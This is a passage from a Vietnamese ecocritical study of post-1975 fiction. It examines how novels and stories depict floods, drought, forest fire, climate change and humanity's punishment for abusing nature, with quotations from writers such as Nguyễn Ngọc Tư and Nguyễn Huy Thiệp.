con người trước những khắc nghiệt của thiên nhiên. Tác giả viết về đề tài này một
cách sâu sắc với nhiều trải nghiệm có lẽ là Jack London. Ông mô tả về sự khắc
nghiệt của tự nhiên đối với số phận của những người dân vùng Bắc cực: rét dưới
âm năm mươi độ, băng tan vùi rất nhiều số phận (Tiếng gọi nơi hoang dã, Tình yêu
cuộc sống, Nhóm lửa…). Tuy nhiên, điểm khác biệt ở văn học thời kì sau này về
cảm hứng đối với sự cuồng nộ của các hiện tượng tự nhiên lại gắn với những vấn
đề thời sự của tình trạng biến đổi khí hậu ngày một gia tăng, những nguyên do của
tình trạng này và sự trải nghiệm của con người thời hiện đại với những vấn đề
mang tính toàn cầu ấy hiện diện cụ thể trên mỗi dòng sông, mỗi cánh đồng, mỗi
con phố, mỗi căn nhà và mỗi số phận. Nhà văn, những người nhạy cảm với các vấn
đề của thời đại hẳn không thể bỏ qua vấn đề thiết cốt ấy.
Việt Nam là một nước nông nghiệp, cuộc sống của con người phải chịu những
tác động của tự nhiên. Thiên nhiên đóng vai trò rất lớn trong đời sống của cư dân
nông nghiệp – đó vừa là môi trường vừa là nguồn lợi nhưng đồng thời cũng vừa là nỗi
âu lo. Khi bước chân ra đồng, người nông dân đã phải cầu khấn tứ phương “Trông trời
trông đất trông mây”. Thời hiện đại, mặc dù đã đạt được nhiều thành tựu về khoa

1
Bate J.(2000), The Song of the Earth, Massachusetts: Harvard University Press, p 447.
2
Rigby K. (2014), Chapter 7: “Ecocritisim”, Introducing Criticism at the Twenty -First Century, Edinburgh UP, Đặng Thị
Thái Hà dịch, Phụ lục luận văn Cái tự nhiên từ điểm nhìn phê bình sinh thái (Qua tác phẩm củaNguyễn Huy Thiệp, Nguyễn
Minh Châu, Nguyễn Ngọc Tư), Luận văn thạc sĩ, Đại học Sư phạm Hà Nội
85
học kĩ thuật, sản xuất cây trồng đã có nhiều cải tiến, song với tình trạng biến đổi khí
hậu bất thường do của hiệu ứng nhà kính thì sự khắc nghiệt của tự nhiên lại càng trở
nên khủng khiếp hơn, nắng hạn nhiều hơn, lũ quét lũ ống xảy ra thường xuyên hơn,
những cơn bão nhiệt đới càng tàn khốc hơn…Con người tồn tại và phát triển trong,
cùng và với môi trường tự nhiên. Khi chỉnh thể sinh thái của tạo hóa bị hủy hoại thì sự
sống của bản thân con người tất sẽ bị đe dọa cả thể chất lẫn tinh thần.
Lũ lụt có lẽ là mối kinh hoàng của nhân loại, từ đó dẫn tới sự ra đời của các
huyền thoại về những cơn đại hồng thủy. Đối với Việt Nam, một nước nông
nghiệp, mối quan hệ giữa con người với nước đã trở thành một mối quan hệ rất
phức tạp. Chủ đề này có lẽ được thể hiện rất rõ trong Sơn Tinh Thủy Tinh. Nếu nhìn
bằng con mắt của nhà phê bình sinh thái, đây không phải chỉ là câu chuyện về tình
yêu mà là giải thích hiện tượng tự nhiên: nước lũ dâng hàng năm. Từ xưa, tác giả
dân gian đã { thức về môi trường tự nhiên và sự chống trả vất vả của con người
với thiên tai. Sau này, là Phạm Duy Tốn với truyện ngắn Sống chết mặc bay, ông đã
khắc họa cuộc vật lộn đầy cam go giữa người nông dân và cơn lũ lụt, tuy nhiên,
cảm hứng mà tác giả muốn tô đậm lại là về sự vô trách nhiệm của quan trên trong
việc chỉ đạo dân chống lũ.
Lũ lụt là nỗi lo thường trực của những người sống trên mảnh đất nhiệt đới
lắm tai họa này. Lê Lựu (Thời xa vắng) mô tả cảnh lụt lội, làng ngập trong nước
mênh mông, rau màu bị tàn phá, cả làng chết đói phải kéo nhau lên thành phố
kiếm sống. Những cơn mưa rừng là tai họa đối với người khai thác vàng, đá qu{,
trầm hương. Nguyễn Trí, bằng trải nghiệm của bản thân đã thấu hiểu thật chính
xác số phận của các nhân vật khi đối diện với những cơn mưa rừng “Mùa mưa ở
bãi buồn ơi là buồn… Mưa ở rừng nguyên sinh ầm ầm, rào rào rồi rả rích không
ngừng nghỉ. Tất cả mọi hoạt động buộc phải ngừng. Hầm hố phải đóng nắp bởi
nước ngập đến tận miệng” (Bãi vàng). Sau những cơn mưa đó ẩn nấp rất nhiều tai
họa: sập hầm vì sạt lở, giao thông bị chia cắt, bệnh tật và thất nghiệp.
Một quốc gia vùng nhiệt đới, hẳn nhiên phải đối mặt với thời tiết cực đoan,
hết lũ lụt lại hạn hán. Cánh đồng bất tận (Nguyễn Ngọc Tư) mở ra bằng một bức
tranh khô hạn: “mùa hạn hung hãn dường như cũng gom hết nắng đổ xuống nơi
này” , “trong một mùa hạn nóng bỏng, bất thường”, “nắng rất dài”, “mùa mưa vẫn
còn xa lắm”, “nắng võ vàng trên những cánh đồng hoang lạnh”, “nắng giữa trưa
nóng rát”, “nắng như tát lửa”. Hạn hán là thảm họa đối với người nông dân. “13
86
tháng nắng hạn liên tiếp” tức là “hơn bốn trăm ngày nắng như thiêu như rang”
(Sầu trên đỉnh Puvan) đã xua những đứa trẻ lên thành phố, “hạn hán quá lâu”
khiến cho đàn dê của Củi chết hết, chỉ còn một con, làm cho thậm chí cả nước mắt
cũng ráo hoảnh “dường như nước mắt cũng bị cái nắng dai dẳng rút cạn, bay hơi
đi”.
Hạn hán ở vùng cao mang một màu sắc khác, người miền núi Tây Bắc sống trên
đá, hạn hán khiến cho cây trồng không mọc được, không có nước sinh hoạt, phải đi thật
xa để gánh nước trong núi về dùng, chắt chiu từng giọt nước trong các hốc đá “Đứa bé
gái vén váy cúi xuống dòng nước múc đầy một ống bương, ngẩng lên nói thêm: “Trời
lạnh quá, cháu rắc đầy hạt cỏ mà không thấy mọc. Phải có nước ở đầu nguồn Phạ Lấu
này”, “Bao nhiêu năm trời nước dòng Phạ Lấu cạn khô. Muốn có nước ăn người lớn trẻ
con phải đi cả ngày, ra tận sông mới gùi về được.” (Đá cuội đỏ, Đỗ Bích Thúy).
Ở vùng núi cao, hạn hán là nỗi lo sợ khủng khiếp vì nắng và gió sẽ mang lửa
đi. Nắng hạn khiến cho những cánh rừng Tây Nguyên khô cháy, chỉ cần một chút sơ
sẩy của ngọn lửa tất cả sẽ biến thành tro bụi “Mùa khô, gió tây bắc thổi như nước vỡ
bờ. Rừng khan nước. Những vách núi hẫng mòn, đá đổ như thác, lửa phun ra, rừng
cháy. Có những đám cháy lang bang từ đầu mùa cho tới khi đổ mưa. Có những đám
cháy không qua suối được, quanh quẩn bên này bờ. Như chớ lầm tưởng nó cùng
đường. Gió mang lửa lên núi. Gió mang lửa xuống lũng. Gió mang lửa tới những
cánh đồng cỏ mênh mông” (Trăm năm còn lại, Trần Duy Phiên). Hạn hán ẩn chứa
nhiều tai họa dẫn tới những trận cháy rừng kinh hoàng mà con người không sao
chống lại được. “Tháng sáu trời nắng to, nắng ghê gớm, nắng từ lúc mặt trời chưa
lên hẳn đến lúc mặt trời sắp lặn… Rừng già lách tách tiếng vỏ cây vỡ nứt. Rồi cháy,
cháy khủng khiếp, cháy ba ngày ba đêm, thiêu trụi mấy cánh rừng, đến sáng thứ tư
thì thôi. Đứng dưới bản nhìn lên chỉ còn thấy một màu đen của cây cháy. Đột ngột,
kinh hoàng quá, không ai còn khóc được” (Sau những mùa trăng, Đỗ Bích Thúy)
Nhà văn lí giải số phận của nhân vật trên nền tảng của biến đổi môi trường
sinh thái. Nương theo số phận của nhân vật, đặt ra nhiều vấn đề của môi trường và số
phận của cá nhân trong chỉnh thể sinh thái, các tác giả đã cho thấy một bức tranh của
con người khi nếm trải những khủng hoảng về môi sinh. Nước như nước mắt (Nguyễn
Ngọc Tư) là câu chuyện về người chồng bị người yêu cũ giết chết, người vợ tìm cách
trả thù kẻ đã gây ra cái chết của chồng, lại là người tình cũ của cô. Nhưng cốt truyện
khá gay cấn đó chỉ như là một cái cớ còn hầu hết nó được dệt nên bởi cảm nhận của
87
nhân vật về mùa nước nổi, về sự xâm thực của biển, đẩy người nông dân ngày một lùi
xa vào đất liền “Ngó nước bắt đầu linh đinh bờ bãi, người ở xóm Rẫy thở dài ứ hự,
chắc năm sau ăn tết trên ghe”, sống trong tình cảnh “cứ mỗi năm nước đuổi lại sớm
hơn, mùa mỗi năm lại dài hơn (…) nước theo sông ngày càng vào sâu hơn, trên bờ bãi,
ngấm vào chân ruộng… đắp tới đâu, nước theo tới đó, cơi nhà tới đâu, nước ngập tới
đó”, môi trường sống xung quanh ngày một xuống cấp nghiêm trọng: “cây trái tàn rụi,
chỉ có cỏ đuôi mèo là sống được”, “những con cá nước đục còn sót lại, ốm ròm, trên
mình đầy ghẻ lở”, đôi cá bạc đầu huyền thoại “đờ đẫn, như dịu dàng lại như kiệt sức”,
sức chống chọi với mùa của con người cũng “mệt mỏi và đuối sức như con cá nước
đục khắc khoải sống với cái vị mặn mòi xa xót của biển”, “nước đuổi đã hai tháng rồi,
đến con người cũng phờ phạc đi”. “Khi bị bứng lìa ra khỏi mặt đất”, sống trên ghe mọi
sinh hoạt bị đảo lộn: chỉ được “tắm khô”, giữa bữa cơm bất chợt thèm ớt, nắng mà
không có bóng cây mắc võng nằm, chết cũng phải chờ nước rút thì mới đem âm thổ…
thì có lẽ nguyên nhân cái chết vì thèm rau tưởng như vô lí của chồng Sáo cũng trở nên
b nh thường “nó diễn ra mỗi ngày, người ta chết đuối, chết vì khát, vì thèm tắm, vì nhớ
vị của trái ổi chát, vì giành nhau cành củi trôi sông…” và vì một điều nghiêm trọng hơn
nhiều như ông bán xôi dạo thốt lên “thời thế loạn rồi, đất không còn thì thứ gì còn”.
Cái cảm giác ngoài cốt truyện đó đã giải thích nguyên nhân về cái chết nghe thật bâng
quơ và khó tin “Chồng Sáo chết vì mấy lá ng ò gai”. Dường như ở tác phẩm này, nếu
chỉ đọc cốt truyện bề ngoài có vẻ giật gân, thời thượng : cốt truyện tình yêu, cốt
truyện báo thù… thì sẽ không lí giải hết những giá trị của tác phẩm bởi ẩn sau đó là cốt
truyện không kém phần quan trọng: cốt truyện về sinh mệnh của tự nhiên. Nhìn bề
mặt, lí do cái chết của chồng Sáo được giải thích có vẻ hoàn toàn nghĩa đen, nhưng kì
thực, đọc kĩ tác phẩm, soi chiếu vào sự nhấn mạnh về một kĩ thuật viết có dụng ý: câu
“Chồng Sáo chết vì mấy lá ngò gai” được đánh số thứ tự đầu tiên, chỉ có một dòng cho
phần đầu tiên ấy. Kiểu tự sự đó nhằm đánh dấu cho người đọc về một cốt truyện khác
được dẫn nhập qua những cảm nhận về mùa nước nổi.
Trong Mảnh đất tình yêu, Nguyễn Minh Châu làm hiện lên nhiều cuộc đời với
những số phận lắm truân chuyên của mấy thế hệ tiếp nối nhau trên một vùng đất ở cửa
lạch đổ ra biển – nơi mà cứ vài ba chục năm “trời đất lại vẽ lại bản đồ một lần”:
Sau tiếng nổ âm âm như dưới đất dậy lên, người các làng xung quanh chợt
thức giấc lăn từ trên giường xuống, nhìn về phía thôn Bắc Trì của làng tôi chẳng
còn nhìn thấy cây cối, nhà cửa đâu cả, chỉ thấy một khối nước khổng lồ trắng xóa
88
che phủ hết bầu trời và mặt đất, và lẫn trong tiếng nước xoáy, nước xô, ầm ầm vào
các dẻo bờ là những tiếng kêu thất thanh nghe vô cùng kinh hãi.
Một khi tự nhiên đã khẳng định quyền lực của mình, tính mạng con người và
cả những công trình xây dựng cũng trở nên bé nhỏ, đáng thương. Trong kí ức không
bao giờ mờ phai của những người còn sống sót ở làng, vụ “nổ cửa” vẫn âm ỉ như
những số phận, những gia đình khó có thể lành lặn dù họ nương tựa vào nhau để
cảm thông với những mất mát. Tự nhiên có quyền lực riêng của nó, chỉ một cái lắc
mình, những số phận người mấy thế hệ vẫn không khắc phục nổi. Nỗi đau vẫn dai
dẳng bám sâu trong kí ức. Sau tai họa kinh hoàng ấy, ông của Quy vì đi đánh cá xa bờ
nên thoát chết, cả nhà chìm vào dòng nước, kể cả đứa con còn ẵm ngửa đang ngậm
vú mẹ cũng trôi theo dòng. Kí ức ông vẫn ám ảnh khôn nguôi về những người thân
yêu, về cái xóm chài ven biển mà phút chốc tiêu tan: “Những tiếng động lúc hoàng
hôn ở trong thôn Bắc Trì xưa như một cuộn bằng ghi âm, cứ còn lại mãi trong thính
giác ông tôi. Tuy hình hài ngồi đấy nhưng { nghĩ đang lặn vào các tầng nước sâu,
vạch lối qua rêu rong và len lách giữa các tầng rạn đá của đáy nước, ông tôi đang tìm
trở về với vợ con và các bà con trong thôn xóm từng làm ăn bên nhau ngày xưa”.
Mụ Điểm (sau này trở thành bà ngoại của Quy) chồng cũng chết trong vụ nổ cửa, bà
cứ ân hận mãi vì khi chồng đánh, bà giận dỗi bỏ về nhà mẹ đẻ ở làng khác nên thoát
chết còn chồng bà ở lại không được cơm nước gì thì bị cuốn phăng theo dòng nước.
Sau thiên tai xóa sổ ngôi làng ấy, những mảnh đời còn lại, đơn côi, nhọc nhằn nương
tựa vào nhau, bà Điểm làm vợ ông ngoại Quy để chăm sóc bé Khơi – đứa bé bị bỏ
rơi, ông và lão Bờ trở thành hai người bạn già cạnh nhau, lặng lẽ, cảm thông và thấu
hiểu nỗi mất mát mà khoảng trống của người thân để lại sau thiên tai: “Ông lão Bờ
cùng với ông tôi, y như hai con dã tràng sau một đợt sóng biển, cuộc đời đã bị trời
cướp mất hết, chỉ còn lại cái tình yêu cuộc sống và hai bàn tay không ngừng làm
lụng”.
Bate, khi phân tích tác phẩm của Wordsworth trong cuốn The Song of the
Eath (Bài ca trái đất) đã nhận ra“đời sống con người được hiểu như là có sự gắn
bó mật thiết với sức khỏe sinh thái của đất đai”1
. Việt Nam là một nước nông
nghiệp, ngàn đời nay sống dựa vào thời tiết. Hơn ai hết con người ở đây chịu
những tác động mà môi trường tự nhiên mang lại, cho dù có khi nhỏ nhoi như con

1
Theo Rigby K. (2014), Chapter 7: “Ecocritisim”, Introducing Criticism at the Twenty -First Century, Edinburgh UP, Đặng
ThịThái Hà dịch, Phụ lục luận văn Cái tự nhiên từ điểm nhìn phê bình sinh thái (Qua tác phẩm của Nguyễn Huy Thiệp,
Nguyễn Minh Châu, Nguyễn Ngọc Tư), Luận văn thạc sĩ, Đại học Sư phạm Hà Nội
89
sâu cũng ẩn chứa tai họa – “Năm ấy, bỗng dưng trong rừng Hua Tát xuất hiện một
loại sâu đen kz lạ. Chúng bé như những cái tăm, bám đầy chi chít trên những cành
lá. Đi vào rừng hay đi lên nương, cứ nghe tiếng sâu bật mình lách tách, tiếng rào
rào nghiến lá của chúng mà rợn cả người. Không có thứ lá cây nào mà loài sâu ấy
lại không ăn được. Từ lá lúa, lá tre, cả lá của những cây song, cây mây đầy gai cũng
bị chúng nhai ngấu nghiến… Loài sâu sinh nở nhanh chóng lạ lùng. Bản Hua Tát tiêu
điều như có dịch hạch” (Chiếc tù và bị bỏ quên, Nguyễn Huy Thiệp) đến nỗi trưởng
bản đã chuẩn bị cho cuộc chạy trốn đi tới vùng đất khác. Những cảm nhận về thời
tiết trong Mưa đỉnh núi xa (Hoa Ngõ Hạnh), dù chỉ là cảm giác thôi nhưng lại có sức
lay động ghê gớm, tự nhiên khẳng định sức mạnh đầy quyền uy của nó đối với con
người, nhiều khi chỉ qua những cảm giác thật nhỏ nhặt : “Lạnh đến nỗi các cây co
rúm lá lại như những chiếc kim may. Còn côn trùng thì biến đổi thành màu sắc sặc
sỡ và chậm chạp đến kinh dị”.
Bất kì một sự thay đổi nào của thời tiết cũng khiến cho sự sống trở nên khó
khăn: “Năm nay trời rét đậm hơn mọi năm, lại rét muộn nữa. Rét muộn thì sẽ rét
lâu rét dài, tháng ba tháng tư có nắng rồi vẫn rét (…) trời thay đổi tính nết thì con
người khổ, khổ vì gieo hạt ngô lúa xuống đất mãi vẫn chưa thấy lá chồi lên. Đất
càng ngày càng khô đi. Ở những nương đá mới xếp đất xẹp dí xuống, đợi hạt giống
đâm mầm lá lên mới bón thêm phân được” (Tiếng đàn môi sau bờ rào đá, Đỗ Bích
Thúy). Rét dài, không có rau, người ta chỉ ăn loại rau duy nhất là ngải đắng – “Tôi
không sao ngủ được. Càng đêm càng lạnh. Thời tiết ở đây vốn thế, ban ngày nắng
đến mấy, có khô rang cả mái nhà dày hàng gang tay thì đêm vẫn lạnh… Gió từ
trong khe núi ùa ra, mang theo hơi lạnh đến ghê người của đá và lá cây lúa. Thân
ngải đắng bắt đầu khô lại, rễ bám chặt lấy lớp đất chai cứng và ngả sang màu nâu
đen vì sương muối. Nhiều ngày, nhiều tuần, có khi cả tháng trời không có nắng,
giữa tuần trăng đêm cũng chỉ lờ mờ” (Ngải đắng ở trên núi, Đỗ Bích Thúy).
Con người cố ý phạm vào tự nhiên và tất yếu phải gánh lấy hậu quả là
những biến đối khí hậu. Tiểu thuyết Sông của Nguyễn Ngọc Tư, viết về một nhân
vật đồng tính chán chường, hoang hoải với cuộc sống đô thị, anh thực hiện dự án
về kí sự sông Di và coi đó là cuộc ra đi mãi mãi của mình như những con sông lở –
đất đai, địa danh, nhà cửa, con người… bị đứt rời, cắt khúc, mất tích vào khoảng
không mênh mông của dòng nước “Cuộc hẹn không thành vì nửa đêm sông Di đã
mang Hường đi. Quán Tầm Sương chìm vào lòng sông sau một tiếng gầm thảng
thốt. Dân Ngã Chín không lạ gì với việc mất một ai đó, một căn phòng nào đó biến
90
mất. Họ quen với việc một người ngồi cạnh mình bỗng dưng lọt tõm vào một hố
sâu nào. Mọi sự biến mất đã trở nên bình thường, họ thò đôi đũa ra để gắp thức
ăn thì không thấy mâm cơm đâu nữa, họ với tay lấy áo mặc sau khi tắm xong thì nó
không còn ở đó, họ đứng dậy rót rượu và cái ghế vẫn còn ấm hơi người lẳng lặng
rơi xuống sông và người kia thì ngồi phịch vào khoảng không, cũng biến mất”. Mỗi
bước chân mà Ân đặt đến ở những nhánh của con sông Di là những phận người
trên mỗi khúc của dòng sông ấy. Tình trạng biến đổi khí hậu giăng mắc khắp nơi. Là
chỗ hạ nguồn có cái tên lạ Mù Sa, nơi người ta sẵn sàng cho những cuộc đi, tất cả
đều được bỏ trong các thùng mì tôm “Xóm cồn nhà nào cũng thấp, phần lớn cất
bằng vật liệu tạm bợ. Cả xóm như đang dợm bỏ đi. Đồ đạc gói gém trong mấy cái
thùng mì tôm, thùng bột ngọt”. Là một địa danh bất kì cách Sài Gòn 448km, mà kí
ức về cánh rừng trôi vẫn còn mồn một trong tâm trí của bà già “nửa đêm có vạt
rừng rùng rùng trôi ra biển, trên đó có khi cả một cái xóm, người ta và chó gà”.
Một trong những điểm làm nên phần hấp dẫn của tiểu thuyết là phần dư, những
yếu tố ngoài cốt truyện. Sông hấp dẫn người đọc không phải chỉ là cái cốt truyện
thời thượng về đề tài đồng tính, là những chuyến đi phượt của giới trẻ, và cái chán
chường hoang mang của những người trẻ mà theo hành trình du khảo, người đọc
nhận thấy không chỉ số phận con người mà số phận của sông. Đúng hơn, số phận
của sông đã làm nên những phận người: Cái cảm giác lúc nào cũng “Thấp thỏm.
Nơm nớp. Côi cút”. Khắp các trang viết là nỗi ai hoài trước vẻ đẹp tự nhiên ngày
một nhạt phai, phập phồng một nỗi âu lo về những hiểm họa thiên nhiên đe dọa
cuộc sống của người dân cực Nam tổ quốc “Mười bảy bài báo cậu đọc được trên
mạng nói về sạt lở đất trên một trăm cây số vuông từ Yên Hoa đến dốc Sương
Mù”. Cách viết này thật khác Sơn Nam trong tập Hương rừng Cà Mau với cảm
hứng về khát vọng chinh phục tự nhiên, sự kiêu hùng của con người trước thiên
nhiên. Nguyễn Ngọc Tư cũng như nhiều nhà văn sau 1975 đã đưa ra nhiều cảnh
báo về môi trường và ảnh hưởng của nó đến số phận của người dân lao động.
Thiên nhiên trong tập truyện Những ngọn gió Hua Tát mang gương mặt dữ
dằn, khắc nghiệt. Môi trường tự nhiên sinh dưỡng của con người bị hủy hoại bị vắt
kiệt đến giọt cuối cùng nên rừng trở nên động (Trái tim hổ, Con thú lớn nhất, Sói
trả thù), nạn dịch tàn phá mùa màng nương rẫy (Chiếc tù và bị bỏ quên), nguồn
nước khô kiệt, hạn hán kéo dài (Tiệc xòe lớn nhất, Nàng Sinh).
Nhiều tác phẩm văn xuôi sinh thái sau 1975 là những lời phản tỉnh mạnh mẽ
91
với huyền thoại đậm màu sắc sử thi về công cuộc chinh phục tự nhiên của con người.
Nhưng những phản kháng bền bỉ, dai dẳng của tự nhiên nhắc nhớ con người về sức
mạnh của nó. Mặc dù như Chellry Glotfelty đã nhắc nhở, cách mạng văn hóa không
thể giải quyết vấn đề khủng hoảng môi trường hiện nay. Nhưng văn học không thể vô
can trong việc hình thành nên “sai lầm vĩ đại” ấy. Bởi vì cách chúng ta nói về tự nhiên
như thế nào ảnh hưởng đến việc chúng ta hành xử như thế. Vậy thì, văn học, nơi bắt
đầu của sự phản biện với thói quen của tư duy cần cất lên tiếng nói của sự phản tỉnh.
Cách viết này từ chối cách nhìn ngạo mạn “đại tự sự” về con người khắc phục hoàn
cảnh, cải tạo tự nhiên… một chiều. Tự nhiên có sinh mệnh riêng và ảnh hưởng đến
con người, không phải như diễn ngôn cao ngạo về sự khắc phục hoàn cảnh tự nhiên,
yêu cầu tự nhiên phải phục tùng ý chí của con người. Cách nhìn đó không phải hạ thấp
con người, mà cách nhìn “giải trung tâm” giúp chúng ta nhận thấy mối quan hệ của
mình giữa vũ trụ. Thế giới là một chỉnh thể sinh thái phụ thuộc lẫn nhau, vạn vật đều
có một vai trò quan trọng như nhau trong chỉnh thể đó.
3.2 Niềm kính sợ với sinh mệnh tự nhiên
Cách viết ấy cũng cảnh tỉnh chúng ta rằng, phải biết kính sợ sinh mệnh tự
nhiên, nếu không con người sẽ chỉ nhận được sự thua thiệt. Một số truyện của của
Trần Duy Phiên (Mối và người, Kiến và người…) cảnh báo về sự trả thù của tự
nhiên nếu con người không biết đâu là giới hạn. Cứ mãi khai thác tự nhiên, không
tôn trọng sinh mạng tự nhiên – dù nhỏ nhoi như con mối, con kiến thì cũng sẽ có
lúc con người bị trừng trị lại: “Như kẻ thù chờ nhau, nghe động, bọn kiến ngóc cao
đầu”; “Từ lâu tôi dè chừng chúng đòi đất lại. Chúng nuôi mộng “phục quốc” mà”.
Khi những sinh mệnh tự nhiên trả thù, con người không thể có phương thức nào
có thể chống đỡ được: “Trại gà cậu Bảy bị mối tập kích. Trận này, chúng nó đại
thắng, cậu Bảy, già Nu và chúng con đại bại (…) trước khi trời sáng chúng nó đã rút
lui an toàn”. Trong cuộc chiến đấu với kiến, lần nào con người cũng thua và trận
chiến sống còn cuối cùng thì “Thắng một trận lớn tan hoang cửa nhà”. Tác giả đưa
ra triết lí trong những cuộc đương đầu với tự nhiên, con người chỉ nhận được thất
bại mà thôi dù có trong tay đủ mọi phương tiện khoa học. Trước sự tấn công âm
thầm của mối, ánh sáng điện, dù chuồng trại theo dây chuyền thì đàn gà bị nhốt
cũng không giải cứu được mọi người; trước sức tàn phá của kiến thì thuốc diệt côn
trùng, bình phun, dầu hôi… những vũ khí của văn minh loài người cũng trở nên vô
dụng, thậm chí, cả những sức mạnh to lớn mà con người đưa ra chinh phạt cũng
trở thành trò cười “Cái dùi của công an đập đến ngày nào cho hết rừng kiến này…
92
Bộ đội ta không quen chiến đấu với thứ giặc li ti này đâu… Trên thế giới, đã có
nước nào chế tạo ra súng bắn kiến”. Tác giả đã giúp chúng ta nhận ra sai lầm của
việc làm trái tự nhiên “Bố cháu đã sai lầm. Bố đã đào một con sông ngược vào
núi”. Con người cần phải biết kính sợ sinh mệnh tự nhiên, như lời cầu khẩn của mẹ
“Chúng đông mà mình có ít. Phải nhịn may ra…”, phải từ bỏ thái độ ngạo mạn
chinh phục tự nhiên, ra sức tàn phá tự nhiên. Điều này cũng đã được Ph. Engels chỉ
ra “Không nên quá tự hào về những thắng lợi của chúng ta đối với tự nhiên. Bởi vì
cứ mỗi lần ta đạt được một thắng lợi, là một lần giới tự nhiên lại trả thù chúng
ta”1
.
Tự nhiên có những logic huyền bí của nó, nếu con người cư xử ngỗ ngược thì
sẽ bị trừng phạt thê thảm. Người cha trong truyện Tre nở hoa (Quế Hương) suốt đời
làm nghề buôn chó, cuối cùng ông bị trừng phạt, hóa thành chó: “Nhìn qua giường
ông, tôi thấy ông ngồi chồm hổm, giơ chân gãi kịch liệt rồi thè lưỡi liếm người… Ông
như bị chó nhập, mỗi ngày thêm giống chúng từ điệu bộ đến dáng vẻ. Sáng nay, ông
dậy, làm động tác rùng rùng lắc lắc như rũ lông rồi đi ra vườn. Tôi đi theo ông, thấy
ông ghếch chân lên cây cau đái rồi vục mặt xuống thau nước cạnh đó uống và đi ra
cổng… Cả nhà đổ ra, chứng kiến cha tôi băng qua đường ở vạch trắng hẳn hoi nhưng
bằng bốn chân, lưỡi thè ra…”. Rồi ông bị chính những người thân trong gia đình giam
vào phòng cho đến lúc chết. Vậy là, số phận của ông cũng thê thảm như những con
chó mà ông giết hại vậy. Hành trình các nhân vật đi săn con con cá huyền thoại ở dòng
sông Thiêng là hành trình con người gặp tai ương: kẻ thì gia sản mất sạch, xe ô tô bị lũ
cuốn trôi, kẻ thì bỏ mạng… Cuối cùng, con cá hiện lên trả lại cái ruột tượng bằng thái
độ khinh bỉ những tham vọng ồn ào hết sức của con người (Săn cá thần, Đặng Thiều
Quang). Lão Chép đi bắt con cá thần dưới vực Diễm bất chấp lời can ngăn của ông
Nghĩa “Các ông ăn uống thừa mứa, phí phạm của trời như thế đủ rồi. Có những thứ
linh thiêng không phạm tới được” và bị cá thần quật chết. Đó là cái giá phải trả cho
những kẻ tham lam, ngông cuồng coi thường sát hại tự nhiên (Dòng sông mía, Đào
Thắng).
Hơn nữa, những kiểu truyện này thường đi theo quy luật nhân quả “đời cha ăn
mặn đời con khát nước”, cha là người tàn sát tự nhiên, con cái chịu hậu quả. Qua đó,
các tác phẩm toát lên triết lí: hậu quả của tàn phá tự nhiên, thế hệ sau phải gánh chịu.
Trong truyện ngắn Sâm cầm Hồ Tây (Sương Nguyệt Minh), “hắn” bắn một con sâm cầm
đầu đỏ gãy cánh, nhưng đôi chân vẫn còn nguyên, con chim bơi ra xa. “Hắn” rượt đuổi

1K. Mark, F. Engels (1994), Toàn tập, Tập 20, NXB Chính trị Quốc gia, Hà Nội, tr 654
93
theo con chim, quyết tâm bắt sống nó. Mải mê theo đuổi con chim, khi quay lại, sương
mù bao vây, đầu óc hắn mụ mẫm và tối tăm lại, càng bơi càng mù mịt “lạc vào trận đồ
bát quái sương giăng… Gần tối, hắn dạt được vào bờ thì người mê man bất tỉnh luôn.
Người ta thấy một tay hắn đã nắm chặt đôi chân con chim Sâm cầm đầu đỏ. Hai mắt
con chim quý ứa máu tươi”. Còn đứa con tật nguyền mà hắn đưa đi cùng đã mất tích.
Trong Nghiệp rừng của Triệu Hoàng Giang, tài thiện xạ của Bàn Văn Dần hạ bao nhiêu
thú không đếm nổi, nhưng đứa con trai bị quả báo “nó chạy khắp nơi để tìm chỗ ẩn
nấp. Trong đầu nó đâu đâu cũng thấy những con lợn rừng, hươu, gấu… đuổi theo tìm
nó, cắn xé”. Kính sợ sinh mệnh tự nhiên cũng là thông điệp của Sói trả thù (Nguyễn Huy
Thiệp). Trước hành động cắn giết tàn bạo của con sói với cậu con trai, ông Hoàng Văn
Nhân không giết nó mà chặt đứt dây xích để sói chạy vào rừng. Có lẽ trong lúc đau đớn
trước cái chết thảm khốc của người con trai ông đã hiểu được sự bất hạnh của bầy sói
mà ông tàn sát. Ông đã ngộ ra bài học đau đớn “hãy biết sợ rừng”.
Có một công lí trên xã hội tồn tại trong tự nhiên. Hầu hết các nhân vật sát hại
muông thú trong truyện Nơi hoang dã đồng vọng (Sương Nguyệt Minh) đều bị quả
báo: bố Lài làm nghề bắt rắn, sơ { để rắn sổng hom cắn chết mẹ Lài khi cô còn ẵm
ngửa, ông bỏ nghề nhưng có truyền lại cho một người học trò, anh này cũng bị rắn
cắn phải chặt đứt ngón tay, bà chủ nhà hàng bị rắn cắn phải cưa chân mới cứu được
mạng sống. Giết rắn, giết mèo để ăn thịt còn để lại một hậu quả dài lâu hơn, không
còn loài nào để bắt chuột, nông thôn lâm vào cảnh mất mùa thê thảm, thành phố bị
chuột hoành hành “Dạo này cúm gà cả nước, người ta sợ vi rút H5N1, các quán ăn
nhậu dính dáng đến gà đều đóng cửa. Người ta quay sang ăn thỏ, ăn mèo. Quán Tiểu
hổ mọc lên như nấm trong thành phố. Mèo ít đi thì chuột nhiều lên, đúng là một sự
mất cân bằng sinh thái tai hại”, chúng thậm chí còn gặm nhấm chân đôi chân bại liệt
của bà chủ chỉ còn trơ xương trắng hếu. Câu chuyện thật bạo liệt nhưng nó là lời cảnh
tỉnh thật sâu sắc “Thế giới sinh vật là một “dây chuyền sống” cực kì tế nhị và người ta
không thể phá hủy một mắt xích trong dây chuyền này mà không bị trừng phạt”1
.
Tự nhiên có sinh mệnh với những quy luật riêng nằm ngoài ý chí, tình cảm
của con người. Tiếng rừng của Hiền Phương lấy bối cảnh về một cô gái mà người yêu
của cô chết trên chiến trường. Bao nhiêu năm cô không hạnh phúc vì cảm thấy linh
hồn của anh vẫn còn lẩn khuất nên cầu siêu để anh siêu thoát. Ở đây, tiếng của rừng
không chỉ là biểu tượng của tình yêu thiên nhiên mà là linh hồn của rừng, linh hồn của

1 Vernier J. (2002), Môi trường sinh thái, Trương Thị Chí, Trần Chí Đạo dịch, NXB Thế giới, Hà Nội, tr 113
94
mỗi người lính trú ngụ “Rừng là nơi cất giữ kỷ niệm của tuổi thơ và tình yêu, rừng còn
là nơi yên nghỉ của những anh hùng liệt sĩ trong các cuộc chiến đấu bảo vệ Tổ quốc.
Hãy đừng để rừng biến thành những ngọn đồi trọc lốc, vì đó chẳng những là thảm họa
đối với người đang sống mà còn là sự xúc phạm vong linh những người đã khuất”. Vì
